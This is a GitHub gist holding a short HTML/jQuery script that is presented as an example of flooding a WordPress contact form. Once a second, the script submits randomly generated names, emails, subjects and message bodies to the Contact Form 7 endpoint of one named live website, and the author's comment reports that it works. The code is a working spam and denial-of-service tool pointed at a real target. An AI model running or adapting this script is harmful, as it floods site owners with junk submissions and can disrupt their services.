Skip to content

Instantly share code, notes, and snippets.

@lablnet
Created April 6, 2019 07:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lablnet/7b879063753f7984d90a1a5124269e6f to your computer and use it in GitHub Desktop.
Save lablnet/7b879063753f7984d90a1a5124269e6f to your computer and use it in GitHub Desktop.
An example script to show flood with wordPress website(where no captcha)
<!DOCTYPE HTML>
<html>
<head>
<title>Flood</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
</head>
<body>
<div>
<span id='status'></span>
</div>
</body>
<script>
//Generate the ramdom salts
function makeid(length) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < length; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
//Count no of entery
count = 0;
function flood_up()
{
count++;
var URL = " https://softotornix.com/wp-json/contact-form-7/v1/contact-forms/5835/feedback";
var name = makeid(10);
var email = name + "@gmail.com";
var subject = name + " subject"
var b = makeid(100);
var body = b + " body"
console.log(count);
console.log(name);
console.log(email);
console.log(subject);
console.log(body);
//Sending flood data
$.post(URL, {"your-name": name, "your-email": email, "your-subject": subject, "your-message": body
} ,function(data) {
console.log(data);
$("#status").append("<h3>Sending Request... "+count+"</h3>" + " <b>Name:</b> " + name + " <b>Email:</b> " + email + "<br/> <b>Body:</b> " + body + "<br/> <h3>Server Response: </h3> " + data.message + "<br/>");
//Scroll down.
window.scrollBy(0,500);
});
}
//Continue flooding on every second.
setInterval(flood_up, 1000);
</script>
</html>
@lablnet
Copy link
Author

lablnet commented Apr 6, 2019

Working Snap.
enter image description here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment